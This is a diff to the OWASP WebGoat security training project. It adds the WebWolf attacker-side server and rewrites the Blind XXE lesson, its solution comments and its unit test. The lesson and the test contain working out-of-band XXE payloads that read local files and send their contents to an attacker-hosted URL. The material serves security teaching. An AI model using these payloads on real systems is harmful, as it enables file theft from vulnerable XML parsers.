<!ENTITY % remote SYSTEM "http://localhost:8081/files/admin2/attack.dtd">
|
||||||
|
%remote;
|
||||||
|
]>
|
||||||
|
<comment> <text>test&send;</text></comment>
|
||||||
|
**/
|
||||||
/**
|
/**
|
||||||
* Solution:
|
* Solution:
|
||||||
*
|
*
|
||||||
@ -104,14 +99,14 @@ public class BlindSendFileAssignment extends AssignmentEndpoint {
|
|||||||
* <pre>
|
* <pre>
|
||||||
* <?xml version="1.0" encoding="UTF-8"?>
|
* <?xml version="1.0" encoding="UTF-8"?>
|
||||||
* <!ENTITY % file SYSTEM "file:///c:/windows-version.txt">
|
* <!ENTITY % file SYSTEM "file:///c:/windows-version.txt">
|
||||||
* <!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:8080/WebGoat/XXE/ping?text=%file;'>">
|
* <!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:8081/ping?text=%file;'>">
|
||||||
* %all;
|
* %all;
|
||||||
* </pre>
|
* </pre>
|
||||||
*
|
*
|
||||||
* This will be reduced to:
|
* This will be reduced to:
|
||||||
*
|
*
|
||||||
* <pre>
|
* <pre>
|
||||||
* <!ENTITY send SYSTEM 'http://localhost:8080/WebGoat/XXE/ping?text=[contents_file]'>
|
* <!ENTITY send SYSTEM 'http://localhost:8081/ping?text=[contents_file]'>
|
||||||
* </pre>
|
* </pre>
|
||||||
*
|
*
|
||||||
* Wire it all up in the xml send to the server:
|
* Wire it all up in the xml send to the server:
|
||||||
@ -119,7 +114,7 @@ public class BlindSendFileAssignment extends AssignmentEndpoint {
|
|||||||
* <pre>
|
* <pre>
|
||||||
* <?xml version="1.0"?>
|
* <?xml version="1.0"?>
|
||||||
* <!DOCTYPE root [
|
* <!DOCTYPE root [
|
||||||
* <!ENTITY % remote SYSTEM "http://localhost:8080/WebGoat/plugin_lessons/XXE/test.dtd">
|
* <!ENTITY % remote SYSTEM "http://localhost:8081/WebWolf/files/test.dtd">
|
||||||
* %remote;
|
* %remote;
|
||||||
* ]>
|
* ]>
|
||||||
* <user>
|
* <user>
|
||||||
|
@ -1,39 +1,30 @@
|
|||||||
|
|
||||||
== Blind XXE
|
== Blind XXE
|
||||||
|
|
||||||
In some cases you will see no output because although your attack might have worked the field is not reflected in the output of page.
|
In some cases you will see no output because although your attack might have worked the field is not reflected in the output of page.
|
||||||
Or the resource you are trying to read contains illegal XML character which causes the parser to fail.
|
Or the resource you are trying to read contains illegal XML character which causes the parser to fail.
|
||||||
Let's start with an example, in this case we reference a external DTD which we control on our own server.
|
Let's start with an example, in this case we reference an external DTD which we control on our own server.
|
||||||
|
|
||||||
Our WebGoat server by default has an /xxe/ping endpoint which we can use. *This can be any server under your control.*
|
As an attacker you have WebWolf under your control (*this can be any server under your control.*), you can for example
|
||||||
|
use this server to ping it using `http://localhost:8081/ping?text=HelloWorld
|
||||||
[source]
|
|
||||||
----
|
|
||||||
curl -i http://localhost:8080/WebGoat/XXE/ping?text=HelloWorld
|
|
||||||
|
|
||||||
will result in:
|
|
||||||
|
|
||||||
GET curl/7.45.0 HelloWorld
|
|
||||||
----
|
|
||||||
|
|
||||||
at the server side.
|
|
||||||
|
|
||||||
How do we use this endpoint to verify whether we can perform XXE?
|
How do we use this endpoint to verify whether we can perform XXE?
|
||||||
|
|
||||||
In the `~/${user.home}/.webgoat/plugin/XXE` create a file called attack.dtd
|
We can again use WebWolf to host a file called `attack.dtd`, create this file with the following contents:
|
||||||
|
|
||||||
[source]
|
[source]
|
||||||
----
|
----
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<!ENTITY ping SYSTEM 'http://localhost:8080/WebGoat/XXE/ping?text=HelloWorld'>
|
<!ENTITY ping SYSTEM 'http://localhost:8081/ping?text=HelloWorld'>
|
||||||
----
|
----
|
||||||
|
|
||||||
Now submit the form and change the xml to:
|
Now submit the form change the xml using to:
|
||||||
|
|
||||||
[source]
|
[source]
|
||||||
----
|
----
|
||||||
<?xml version="1.0"?>
|
<?xml version="1.0"?>
|
||||||
<!DOCTYPE root [
|
<!DOCTYPE root [
|
||||||
<!ENTITY % remote SYSTEM "http://localhost:8080/WebGoat/XXE/attack.dtd">
|
<!ENTITY % remote SYSTEM "http://localhost:8081/WebWolf/files/attack.dtd">
|
||||||
%remote;
|
%remote;
|
||||||
]>
|
]>
|
||||||
<comment>
|
<comment>
|
||||||
@ -41,16 +32,24 @@ Now submit the form and change the xml to:
|
|||||||
</comment>
|
</comment>
|
||||||
----
|
----
|
||||||
|
|
||||||
Now if we check our server log we will see:
|
Now in WebWolf browse to 'Incoming requests' and you will see:
|
||||||
|
|
||||||
[source]
|
[source]
|
||||||
----
|
----
|
||||||
GET Java/1.8.0_101 HelloWorld
|
{
|
||||||
|
"method" : "GET",
|
||||||
|
"path" : "/ping",
|
||||||
|
"headers" : {
|
||||||
|
"request" : {
|
||||||
|
"user-agent" : "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
|
||||||
|
},
|
||||||
|
},
|
||||||
|
"parameters" : {
|
||||||
|
"test" : [ "HelloWorld" ],
|
||||||
|
},
|
||||||
|
"timeTaken" : "1"
|
||||||
|
}
|
||||||
----
|
----
|
||||||
|
|
||||||
So with the XXE we are able to ping our own server which means XXE injection is possible. So with the XXE injection
|
So with the XXE we are able to ping our own server which means XXE injection is possible. So with the XXE injection
|
||||||
we are basically able to reach the same effect as we did in the beginning with the curl command.
|
we are basically able to reach the same effect as we did in the beginning with the curl command.
|
||||||
|
|
||||||
[NOTE]
|
|
||||||
In this case we use http://localhost:8080/WebGoat/plugin_lessons/XXE/test.dtd to fetch the dtd but in reality this will
|
|
||||||
of course be a host fully under the attackers control.
|
|
@ -1,10 +1,23 @@
|
|||||||
== Blind XXE assignment
|
== Blind XXE assignment
|
||||||
|
|
||||||
In the previous page we showed you how you can ping a server with a XXE attack, in this assignment try to make a DTD
|
In the previous page we showed you how you can ping a server with a XXE attack, in this assignment try to make a DTD
|
||||||
which will upload the contents of ~/.webgoat/plugin/XXE/secret.txt to our server.
|
which will upload the contents of ~/.webgoat/plugin/XXE/secret.txt to our server. You can use WebWolf to serve your
|
||||||
For Linux: `/home/USER/.webgoat/XXE/secret.txt`, for Windows this would be `c:/Users/USER/.webgoat/XXE/secret.txt`
|
DTD.
|
||||||
If you use the Docker based WebGoat environment this file is located here: `/root/.webgoat/XXE/secret.txt`
|
|
||||||
|
|
||||||
Try to upload this file using the following endpoint: `http://localhost:8080/WebGoat/XXE/ping?text=[contents_file]` (NOTE: this endpoint is under your full control)
|
|
||||||
|
|
||||||
You can login to the Docker container as follows: `docker exec -i -t <<name>> /bin/bash`
|
|===
|
||||||
|
|OS |Location
|
||||||
|
|
||||||
|
|Linux
|
||||||
|
|`/home/USER/.webgoat/XXE/secret.txt`
|
||||||
|
|
||||||
|
|Windows
|
||||||
|
|`c:/Users/USER/.webgoat/XXE/secret.txt`
|
||||||
|
|
||||||
|
|Docker
|
||||||
|
|`/home/webgoat/.webgoat/XXE/secret.txt`
|
||||||
|
|===
|
||||||
|
|
||||||
|
Try to upload this file using WebWolf landing page for example: `http://localhost:8081/WebWolf/landing?text=[contents_file]`
|
||||||
|
(NOTE: this endpoint is under your full control)
|
||||||
|
Once you obtained the contents of the file post it as a new comment on the page and you will solve the lesson.
|
@ -1,8 +1,11 @@
|
|||||||
package org.owasp.webgoat.plugin;
|
package org.owasp.webgoat.plugin;
|
||||||
|
|
||||||
import com.google.common.io.Files;
|
import com.github.tomakehurst.wiremock.client.WireMock;
|
||||||
|
import com.github.tomakehurst.wiremock.junit.WireMockRule;
|
||||||
|
import com.github.tomakehurst.wiremock.verification.LoggedRequest;
|
||||||
import org.hamcrest.CoreMatchers;
|
import org.hamcrest.CoreMatchers;
|
||||||
import org.junit.Before;
|
import org.junit.Before;
|
||||||
|
import org.junit.Rule;
|
||||||
import org.junit.Test;
|
import org.junit.Test;
|
||||||
import org.junit.runner.RunWith;
|
import org.junit.runner.RunWith;
|
||||||
import org.owasp.webgoat.plugins.LessonTest;
|
import org.owasp.webgoat.plugins.LessonTest;
|
||||||
@ -10,11 +13,12 @@ import org.springframework.beans.factory.annotation.Autowired;
|
|||||||
import org.springframework.beans.factory.annotation.Value;
|
import org.springframework.beans.factory.annotation.Value;
|
||||||
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
|
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
|
||||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||||
import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
|
|
||||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||||
|
|
||||||
import java.io.File;
|
import java.io.File;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
import static com.github.tomakehurst.wiremock.client.WireMock.*;
|
||||||
import static org.assertj.core.api.Assertions.assertThat;
|
import static org.assertj.core.api.Assertions.assertThat;
|
||||||
import static org.mockito.Mockito.when;
|
import static org.mockito.Mockito.when;
|
||||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||||
@ -32,13 +36,14 @@ public class BlindSendFileAssignmentTest extends LessonTest {
|
|||||||
@Value("${webgoat.user.directory}")
|
@Value("${webgoat.user.directory}")
|
||||||
private String webGoatHomeDirectory;
|
private String webGoatHomeDirectory;
|
||||||
|
|
||||||
|
@Rule
|
||||||
|
public WireMockRule webwolfServer = new WireMockRule(8081);
|
||||||
|
|
||||||
@Before
|
@Before
|
||||||
public void setup() throws Exception {
|
public void setup() throws Exception {
|
||||||
XXE xxe = new XXE();
|
XXE xxe = new XXE();
|
||||||
when(webSession.getCurrentLesson()).thenReturn(xxe);
|
when(webSession.getCurrentLesson()).thenReturn(xxe);
|
||||||
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
|
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
|
||||||
File logFile = new File(webGoatHomeDirectory, "/XXE/log" + webSession.getUserName() + ".txt");
|
|
||||||
if (logFile.exists()) logFile.delete();
|
|
||||||
when(webSession.getUserName()).thenReturn("unit-test");
|
when(webSession.getUserName()).thenReturn("unit-test");
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -47,7 +52,7 @@ public class BlindSendFileAssignmentTest extends LessonTest {
|
|||||||
int nrOfComments = comments.getComments().size();
|
int nrOfComments = comments.getComments().size();
|
||||||
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
|
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
|
||||||
.content("<comment><text>test</text></comment>"))
|
.content("<comment><text>test</text></comment>"))
|
||||||
.andDo(MockMvcResultHandlers.print())
|
|
||||||
.andExpect(status().isOk())
|
.andExpect(status().isOk())
|
||||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.not.solved"))));
|
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.not.solved"))));
|
||||||
assertThat(comments.getComments().size()).isEqualTo(nrOfComments + 1);
|
assertThat(comments.getComments().size()).isEqualTo(nrOfComments + 1);
|
||||||
@ -57,7 +62,7 @@ public class BlindSendFileAssignmentTest extends LessonTest {
|
|||||||
public void wrongXmlShouldGiveErrorBack() throws Exception {
|
public void wrongXmlShouldGiveErrorBack() throws Exception {
|
||||||
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
|
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
|
||||||
.content("<comment><text>test</ext></comment>"))
|
.content("<comment><text>test</ext></comment>"))
|
||||||
.andDo(MockMvcResultHandlers.print())
|
|
||||||
.andExpect(status().isOk())
|
.andExpect(status().isOk())
|
||||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.not.solved"))))
|
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.not.solved"))))
|
||||||
.andExpect(jsonPath("$.output", CoreMatchers.is("javax.xml.bind.UnmarshalException\\n - with linked exception:\\n[javax.xml.stream.XMLStreamException: ParseError at [row,col]:[1,22]\\nMessage: The element type \\\"text\\\" must be terminated by the matching end-tag \\\"<\\/text>\\\".]")));
|
.andExpect(jsonPath("$.output", CoreMatchers.is("javax.xml.bind.UnmarshalException\\n - with linked exception:\\n[javax.xml.stream.XMLStreamException: ParseError at [row,col]:[1,22]\\nMessage: The element type \\\"text\\\" must be terminated by the matching end-tag \\\"<\\/text>\\\".]")));
|
||||||
@ -65,26 +70,39 @@ public class BlindSendFileAssignmentTest extends LessonTest {
|
|||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void solve() throws Exception {
|
public void solve() throws Exception {
|
||||||
File file = new File(webGoatHomeDirectory, "XXE/attack.dtd");
|
File targetFile = new File(webGoatHomeDirectory, "/XXE/secret.txt");
|
||||||
String dtd = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
|
String dtd = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
|
||||||
"<!ENTITY % file SYSTEM \"file:///" + webGoatHomeDirectory + "/XXE/secret.txt\">\n" +
|
"<!ENTITY % file SYSTEM \"" + targetFile.toURI().toString() + "\">\n" +
|
||||||
"<!ENTITY % all \"<!ENTITY send SYSTEM 'http://localhost:" + localPort + "/WebGoat/XXE/ping?text=%file;'>\">\n" +
|
"<!ENTITY % all \"<!ENTITY send SYSTEM 'http://localhost:8081/landing?text=%file;'>\">\n" +
|
||||||
"%all;";
|
"%all;";
|
||||||
Files.write(dtd.getBytes(), file);
|
webwolfServer.stubFor(get(WireMock.urlMatching("/files/test.dtd"))
|
||||||
String xml = "<?xml version=\"1.0\"?>\n" +
|
.willReturn(aResponse()
|
||||||
"<!DOCTYPE root [\n" +
|
.withStatus(200)
|
||||||
"<!ENTITY % remote SYSTEM \"file://" + file.getAbsolutePath() + "\">\n" +
|
.withBody(dtd)));
|
||||||
"%remote;\n" +
|
webwolfServer.stubFor(get(urlMatching("/landing.*")).willReturn(aResponse().withStatus(200)));
|
||||||
"]>\n" +
|
String xml = "<?xml version=\"1.0\"?>" +
|
||||||
"<comment>\n" +
|
"<!DOCTYPE comment [" +
|
||||||
" <text>test&send;</text>\n" +
|
"<!ENTITY % remote SYSTEM \"http://localhost:8081/files/test.dtd\">" +
|
||||||
"</comment>";
|
"%remote;" +
|
||||||
|
"]>" +
|
||||||
|
"<comment><text>test&send;</text></comment>";
|
||||||
|
|
||||||
|
//Call with XXE injection
|
||||||
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
|
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
|
||||||
.content(xml))
|
.content(xml))
|
||||||
.andDo(MockMvcResultHandlers.print())
|
|
||||||
.andExpect(status().isOk())
|
.andExpect(status().isOk())
|
||||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.solved"))))
|
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.not.solved"))));
|
||||||
.andExpect(jsonPath("$.output", CoreMatchers.containsString("WebGoat 8 rocks...")));
|
|
||||||
|
List<LoggedRequest> requests = findAll(getRequestedFor(urlMatching("/landing.*")));
|
||||||
|
assertThat(requests.size()).isEqualTo(1);
|
||||||
|
String text = requests.get(0).getQueryParams().get("text").firstValue();
|
||||||
|
|
||||||
|
//Call with retrieved text
|
||||||
|
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
|
||||||
|
.content("<comment><text>" + text + "</text></comment>"))
|
||||||
|
.andExpect(status().isOk())
|
||||||
|
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.solved"))));
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
@ -36,6 +36,11 @@
|
|||||||
<directory>${project.build.directory}</directory>
|
<directory>${project.build.directory}</directory>
|
||||||
<include>${project.build.finalName}.jar</include>
|
<include>${project.build.finalName}.jar</include>
|
||||||
</resource>
|
</resource>
|
||||||
|
<resource>
|
||||||
|
<targetPath>/</targetPath>
|
||||||
|
<directory>${project.basedir}/../webwolf/target</directory>
|
||||||
|
<include>webwolf-${project.version}.jar</include>
|
||||||
|
</resource>
|
||||||
</resources>
|
</resources>
|
||||||
</configuration>
|
</configuration>
|
||||||
</plugin>
|
</plugin>
|
||||||
@ -70,6 +75,22 @@
|
|||||||
</plugins>
|
</plugins>
|
||||||
</build>
|
</build>
|
||||||
</profile>
|
</profile>
|
||||||
|
<profile>
|
||||||
|
<id>ctf</id>
|
||||||
|
<dependencies>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.owasp.webgoat</groupId>
|
||||||
|
<artifactId>webgoat-container</artifactId>
|
||||||
|
<version>${project.version}</version>
|
||||||
|
<exclusions>
|
||||||
|
<exclusion>
|
||||||
|
<groupId>de.flapdoodle.embed</groupId>
|
||||||
|
<artifactId>de.flapdoodle.embed.mongo</artifactId>
|
||||||
|
</exclusion>
|
||||||
|
</exclusions>
|
||||||
|
</dependency>
|
||||||
|
</dependencies>
|
||||||
|
</profile>
|
||||||
</profiles>
|
</profiles>
|
||||||
|
|
||||||
<dependencies>
|
<dependencies>
|
||||||
@ -159,6 +180,11 @@
|
|||||||
<artifactId>auth-bypass</artifactId>
|
<artifactId>auth-bypass</artifactId>
|
||||||
<version>${project.version}</version>
|
<version>${project.version}</version>
|
||||||
</dependency>
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
|
<artifactId>webwolf-introduction</artifactId>
|
||||||
|
<version>${project.version}</version>
|
||||||
|
</dependency>
|
||||||
<dependency>
|
<dependency>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>missing-function-ac</artifactId>
|
<artifactId>missing-function-ac</artifactId>
|
||||||
@ -167,9 +193,9 @@
|
|||||||
|
|
||||||
<!--uncommment below to run/include lesson template in WebGoat Build-->
|
<!--uncommment below to run/include lesson template in WebGoat Build-->
|
||||||
<!--<dependency>-->
|
<!--<dependency>-->
|
||||||
<!--<groupId>org.owasp.webgoat.lesson</groupId>-->
|
<!--<groupId>org.owasp.webgoat.lesson</groupId>-->
|
||||||
<!--<artifactId>webgoat-lesson-template</artifactId>-->
|
<!--<artifactId>webgoat-lesson-template</artifactId>-->
|
||||||
<!--<version>${project.version}</version>-->
|
<!--<version>${project.version}</version>-->
|
||||||
<!--</dependency>-->
|
<!--</dependency>-->
|
||||||
<!-- /lessons -->
|
<!-- /lessons -->
|
||||||
<dependency>
|
<dependency>
|
||||||
|
@ -3,9 +3,10 @@ FROM openjdk:8-jre
|
|||||||
RUN useradd --home-dir /home/webgoat --create-home -U webgoat
|
RUN useradd --home-dir /home/webgoat --create-home -U webgoat
|
||||||
|
|
||||||
USER webgoat
|
USER webgoat
|
||||||
|
|
||||||
RUN mkdir -p /home/webgoat/.embedmongo/linux
|
|
||||||
RUN curl -o /home/webgoat/.embedmongo/linux/mongodb-linux-x86_64-3.2.2.tgz https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-3.2.2.tgz
|
|
||||||
RUN cd /home/webgoat/; mkdir -p .webgoat
|
RUN cd /home/webgoat/; mkdir -p .webgoat
|
||||||
COPY webgoat-server-8.0-SNAPSHOT.jar /home/webgoat/webgoat.jar
|
COPY webgoat-server-8.0-SNAPSHOT.jar /home/webgoat/webgoat.jar
|
||||||
ENTRYPOINT ["java","-Djava.security.egd=file:/dev/./urandom","-jar","/home/webgoat/webgoat.jar"]
|
COPY webwolf-8.0-SNAPSHOT.jar /home/webgoat/webwolf.jar
|
||||||
|
COPY startup.sh /home/webgoat/startup.sh
|
||||||
|
RUN sudo chmod +x /home/webgoat/startup.sh
|
||||||
|
|
||||||
|
CMD ["/home/webgoat/startup.sh"]
|
6
webgoat-server/src/main/docker/startup.sh
Normal file
@ -0,0 +1,6 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
|
||||||
|
java -Djava.security.egd=file:/dev/./urandom -jar /home/webgoat/webgoat.jar &
|
||||||
|
echo "Waiting for WebGoat to start..."
|
||||||
|
sleep 20
|
||||||
|
java -Djava.security.egd=file:/dev/./urandom -jar /home/webgoat/webwolf.jar
|
@ -22,7 +22,9 @@
|
|||||||
* projects.
|
* projects.
|
||||||
* <p>
|
* <p>
|
||||||
*/
|
*/
|
||||||
package org.owasp.webgoat;import org.springframework.boot.SpringApplication;
|
package org.owasp.webgoat;
|
||||||
|
|
||||||
|
import org.springframework.boot.SpringApplication;
|
||||||
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@ -30,7 +32,7 @@ import org.springframework.boot.autoconfigure.SpringBootApplication;
|
|||||||
* @date 2/21/17
|
* @date 2/21/17
|
||||||
*/
|
*/
|
||||||
@SpringBootApplication
|
@SpringBootApplication
|
||||||
public class StartWebGoat {
|
public class StartWebGoat {
|
||||||
|
|
||||||
public static void main(String[] args) {
|
public static void main(String[] args) {
|
||||||
SpringApplication.run(WebGoat.class, args);
|
SpringApplication.run(WebGoat.class, args);
|
||||||
|
46
webwolf/README.md
Normal file
@ -0,0 +1,46 @@
|
|||||||
|
# WebWolf
|
||||||
|
|
||||||
|
## Introduction
|
||||||
|
|
||||||
|
During workshops one of the feedback items was that in some lesson it was not clear what you controlled
|
||||||
|
as an attacker and what was part of the lesson. To make this separation more distinct we created
|
||||||
|
WebWolf which is completely controlled by you as the attacker and runs as a separate application.
|
||||||
|
|
||||||
|
Instead of using your own machine which would involve WebGoat being connected to your local network
|
||||||
|
or internet (remember WebGoat is a vulnerable webapplication) we created WebWolf which is the the
|
||||||
|
environment for you as an attacker.
|
||||||
|
|
||||||
|
At the moment WebWolf offers support for:
|
||||||
|
|
||||||
|
- Receiving e-mails
|
||||||
|
- Serving files
|
||||||
|
- Logging of incoming requests (cookies etc)
|
||||||
|
|
||||||
|
## Running
|
||||||
|
|
||||||
|
### Docker
|
||||||
|
|
||||||
|
If you use the Docker image of WebGoat this application will automatically be available. Use the following
|
||||||
|
URL: http://localhost:8081/WebWolf
|
||||||
|
|
||||||
|
### Standalone
|
||||||
|
|
||||||
|
```Shell
|
||||||
|
cd WebGoat
|
||||||
|
git checkout develop
|
||||||
|
mvn clean install
|
||||||
|
```
|
||||||
|
|
||||||
|
Now we are ready to run the project. WebGoat 8.x is using Spring-Boot.
|
||||||
|
|
||||||
|
```Shell
|
||||||
|
mvn -pl webwolf spring-boot:run
|
||||||
|
```
|
||||||
|
... you should be running WebWolf on localhost:8081/WebWolf momentarily
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
### Mapping
|
||||||
|
|
||||||
|
The web application runs on '/' and the controllers and Thymeleaf templates are hardcoded to '/WebWolf' we need
|
||||||
|
to have '/' available which acts as a landing page for incoming requests.
|
111
webwolf/pom.xml
Normal file
@ -0,0 +1,111 @@
|
|||||||
|
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||||
|
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
|
||||||
|
<modelVersion>4.0.0</modelVersion>
|
||||||
|
<artifactId>webwolf</artifactId>
|
||||||
|
<packaging>jar</packaging>
|
||||||
|
<parent>
|
||||||
|
<groupId>org.owasp.webgoat</groupId>
|
||||||
|
<artifactId>webgoat-parent</artifactId>
|
||||||
|
<version>8.0-SNAPSHOT</version>
|
||||||
|
</parent>
|
||||||
|
|
||||||
|
<dependencies>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.owasp.webgoat</groupId>
|
||||||
|
<artifactId>webgoat-commons</artifactId>
|
||||||
|
<version>${project.version}</version>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>com.fasterxml.jackson.datatype</groupId>
|
||||||
|
<artifactId>jackson-datatype-jsr310</artifactId>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>com.google.guava</groupId>
|
||||||
|
<artifactId>guava</artifactId>
|
||||||
|
<version>${guava.version}</version>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.projectlombok</groupId>
|
||||||
|
<artifactId>lombok</artifactId>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>commons-io</groupId>
|
||||||
|
<artifactId>commons-io</artifactId>
|
||||||
|
<version>LATEST</version>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.springframework.boot</groupId>
|
||||||
|
<artifactId>spring-boot-starter-cache</artifactId>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.springframework.boot</groupId>
|
||||||
|
<artifactId>spring-boot-starter-security</artifactId>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.springframework.boot</groupId>
|
||||||
|
<artifactId>spring-boot-starter-web</artifactId>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.springframework.boot</groupId>
|
||||||
|
<artifactId>spring-boot-starter-thymeleaf</artifactId>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.springframework.boot</groupId>
|
||||||
|
<artifactId>spring-boot-starter-actuator</artifactId>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.thymeleaf.extras</groupId>
|
||||||
|
<artifactId>thymeleaf-extras-springsecurity4</artifactId>
|
||||||
|
<version>2.1.2.RELEASE</version>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.springframework.boot</groupId>
|
||||||
|
<artifactId>spring-boot-starter-data-mongodb</artifactId>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.springframework</groupId>
|
||||||
|
<artifactId>spring-jms</artifactId>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.springframework.boot</groupId>
|
||||||
|
<artifactId>spring-boot-starter-activemq</artifactId>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.springframework.boot</groupId>
|
||||||
|
<artifactId>spring-boot-devtools</artifactId>
|
||||||
|
<optional>true</optional>
|
||||||
|
</dependency>
|
||||||
|
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.webjars</groupId>
|
||||||
|
<artifactId>bootstrap</artifactId>
|
||||||
|
<version>3.3.7</version>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.webjars</groupId>
|
||||||
|
<artifactId>jquery</artifactId>
|
||||||
|
<version>3.2.1</version>
|
||||||
|
</dependency>
|
||||||
|
</dependencies>
|
||||||
|
|
||||||
|
<build>
|
||||||
|
<plugins>
|
||||||
|
<plugin>
|
||||||
|
<groupId>org.apache.maven.plugins</groupId>
|
||||||
|
<artifactId>maven-compiler-plugin</artifactId>
|
||||||
|
<version>${maven-compiler-plugin.version}</version>
|
||||||
|
<configuration>
|
||||||
|
<source>1.8</source>
|
||||||
|
<target>1.8</target>
|
||||||
|
<encoding>ISO-8859-1</encoding>
|
||||||
|
</configuration>
|
||||||
|
</plugin>
|
||||||
|
<plugin>
|
||||||
|
<groupId>org.springframework.boot</groupId>
|
||||||
|
<artifactId>spring-boot-maven-plugin</artifactId>
|
||||||
|
</plugin>
|
||||||
|
</plugins>
|
||||||
|
</build>
|
||||||
|
|
||||||
|
|
||||||
|
</project>
|
89
webwolf/src/main/java/org/owasp/webwolf/FileServer.java
Normal file
@ -0,0 +1,89 @@
|
|||||||
|
package org.owasp.webwolf;
|
||||||
|
|
||||||
|
import com.google.common.collect.Lists;
|
||||||
|
import com.google.common.io.Files;
|
||||||
|
import lombok.AllArgsConstructor;
|
||||||
|
import lombok.Getter;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import org.apache.commons.io.FileUtils;
|
||||||
|
import org.owasp.webwolf.user.WebGoatUser;
|
||||||
|
import org.springframework.beans.factory.annotation.Value;
|
||||||
|
import org.springframework.security.core.context.SecurityContextHolder;
|
||||||
|
import org.springframework.stereotype.Controller;
|
||||||
|
import org.springframework.ui.ModelMap;
|
||||||
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RequestParam;
|
||||||
|
import org.springframework.web.multipart.MultipartFile;
|
||||||
|
import org.springframework.web.servlet.ModelAndView;
|
||||||
|
import org.springframework.web.servlet.view.RedirectView;
|
||||||
|
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import java.io.File;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Controller for uploading a file
|
||||||
|
*/
|
||||||
|
@Controller
|
||||||
|
@Slf4j
|
||||||
|
public class FileServer {
|
||||||
|
|
||||||
|
@Value("${webwolf.fileserver.location}")
|
||||||
|
private String fileLocatation;
|
||||||
|
|
||||||
|
@PostMapping(value = "/WebWolf/fileupload")
|
||||||
|
@SneakyThrows
|
||||||
|
public ModelAndView importFile(@RequestParam("file") MultipartFile myFile) {
|
||||||
|
WebGoatUser user = (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal();
|
||||||
|
